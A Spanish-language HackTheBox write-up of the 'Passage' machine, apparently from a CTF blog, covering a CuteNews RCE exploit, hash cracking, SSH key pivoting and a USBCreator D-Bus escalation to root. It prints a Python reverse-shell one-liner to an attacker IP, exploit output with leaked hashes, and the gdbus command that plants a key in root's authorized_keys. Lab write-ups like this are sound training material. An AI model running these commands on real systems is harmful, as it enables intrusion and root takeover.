Passage es una maquina de HackTheBox descubrimos CuteNews en donde encontramos credenciales codificadas en base64->MD5, además ejecutamos una shell inversa para tener acceso. Crackeamos los hashes encontrados para acceder al siguiente usuario. Encontramos la clave publica ya registrada en authorized_keys lo que nos dio acceso a otro usuario. Tras enumerar los archivos y procesos encontramos USBCreator D-Bus Interface que además descubrimos que puede crear archivos como root lo que aprovechamos para registrar nuestra clave publica en los archivos SSH de root para obtener privilegios como root.
Nombre |
Passage |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.206 |
Maker |
ChefByzen |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.3, 6.4, 6.7, 3.3, 3.6],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[5, 10, 8, 2, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.80 scan initiated Fri Sep 25 01:31:49 2020 as: nmap -Pn -p- --min-rate 1000 -oN allports 10.10.10.206
Warning: 10.10.10.206 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.11s latency).
Not shown: 63942 closed ports, 1591 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri Sep 25 01:34:10 2020 -- 1 IP address (1 host up) scanned in 140.93 seconds
# Nmap 7.80 scan initiated Fri Sep 25 01:34:44 2020 as: nmap -p22,80 -sC -sV -o serviceAllports 10.10.10.206
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 25 01:34:55 2020 -- 1 IP address (1 host up) scanned in 10.77 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.
Al intentar realizar una busqueda directorios y paginas con gobuster parecia que la maquina habia caido, pero segun un post de la pagina tienen implementado fail2ban, por lo que al utilizar herramientas como gobuster o hydra, fail2ban banea nuestra IP por algun tiempo.
CUTE NEWS - RCE
Explorando la pagina encontramos en el footer de esta el nombre de lo que parece ser un CMS, al investigar un poco acerca de este nombre encontramos un exploit CuteNews 2.1.2 - Remote Code Execution.
Segun el codigo del exploit realiza una consulta a /CuteNews/cdata/users/lines
donde se almacenan en base64
las credenciales de usuarios, verificamos que esta direccion exista en esta version de CMS y vemos la lista de usuarios codificados.
El exploit al tener las credenciales realiza un cambio del “avatar” del usuario encontrado con una webshell dentro lo que permite ejecutar comandos en la maquina. Para ello descargamos y ejecutamos el exploit, logrando ejecutar comandos como usuario www-data
y ver algunos hashes de los usuarios registrados en el CMS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
kali@kali:~/htb/passage$ python3 CuteNews-2.1.2-RCE.py
_____ __ _ __ ___ ___ ___
/ ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ |
/ /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/
\___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/
___ _________
/ _ \/ ___/ __/
/ , _/ /__/ _/
/_/|_|\___/___/
[->] Usage python3 expoit.py
Enter the URL> http://10.10.10.206
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================
=============================
Registering a users
=============================
[+] Registration successful with username: 8g9Nqx6ATg and password: 8g9Nqx6ATg
=======================================================
Sending Payload
=======================================================
signature_key: 2e4f7658cee281341e4f5f36f776847b-8g9Nqx6ATg
signature_dsi: 2c0343d390fbd41777bd7c348ba74773
logged in user: 8g9Nqx6ATg
============================
Dropping to a SHELL
============================
command > whoami
www-data
command >
|
Para tener una shell más comoda ejecutamos una shell inversa con python:
1
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.30",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
PAUL - USER
Una vez dentro con una shell más comoda realizamos una enumeracion en la maquina pero no encontramos nada más que solo los usuarios de la maquina: paul
y nadav
, pero recordemos, encontramos algunos hashes (SHA256), utilizamos John
y rockyou.txt
para obtener algunas contraseñas.
1
2
3
4
5
6
|
#HASHES
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
|
O de la manera facil utilizando CrackStation.
Una vez con las contraseñas intentamos cambiar de usuario con estas, logramos obtener una shell con el usuario Paul
y nuestra flag user.txt
.
NADAV - USER
Realizamos una enumeracion con este usuario y esta vez encontramos en el archivo authorized_keys
la clave publica (id_rsa.pub) de nadav
, por lo que este usuario puede conectarse desde su cuenta a la nuestra (paul), si ese es el caso quizas nosotros tambien a la suya.
1
2
3
4
|
paul@passage:~/.ssh$ cat auth*
cat auth*
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
paul@passage:~/.ssh$
|
Nos conectamos mediante SSH en localhost con este usuario para comprobar que nuestro usuario (paul) tambien tenga acceso al usuario nadav
. Lo cual pudimos confirmar y ahora tenemos una shell con nadav
.
PRIVILEGE ESCALATION
Realizamos una enumeracion en la carpeta de nadav
y encontramos algo interesante en el archivo .viminfo
y es que uno de los archivos que fue editado con vim
es /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
. Investigamos un poco acerca de este archivo y encontramos que es posible crear archivos como usuario root
utilizando USBCreator D-Bus interface
lo que podria ayudarnos a escalar privilegios. Para ello verificamos que usb-creator-helper
este siendo ejecutado con el usuario root
.
1
2
3
4
5
|
nadav@passage:~$ ps -ef |grep usb-creator
ps -ef |grep usb-creator
root 1992 1 0 01:04 ? 00:00:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
nadav 2825 2741 0 01:43 pts/20 00:00:00 grep --color=auto usb-creator
nadav@passage:~$
|
Ahora vamos a crear un archivo en la direccion /
con un archivo temporal en /tmp/test.txt
y vemos que el archivo se creo en /test.txt
.
1
2
3
4
5
6
7
8
9
|
nadav@passage:~$ echo -n "USBCreator D-Bus interface" > /tmp/test.txt
echo -n "USBCreator D-Bus interface" > /tmp/test.txt
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/test.txt /test.txt true
<method com.ubuntu.USBCreator.Image /tmp/test.txt /test.txt true
()
nadav@passage:~$ ls -lah /test.txt
ls -lah /test.txt
-rw-r--r-- 1 root root 26 Sep 25 01:47 /test.txt
nadav@passage:~$
|
Para obtener una shell con usuario root vamos a crear el archivo authorized_keys
en la carpeta /root/.ssh/
y asi vamos a poder acceder a este usuario mediante SSH de la misma forma que con nadav
. Primero vamos a copiar el archivo id_rsa.pub
del usuario actual a /tmp/authorized_keys
, luego creamos el archivo:
1
|
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/authorized_keys /root/.ssh/authorized_keys true
|
Nos conectamos por medio de SSH y logramos obtener una shell y nuestra flag root.txt
.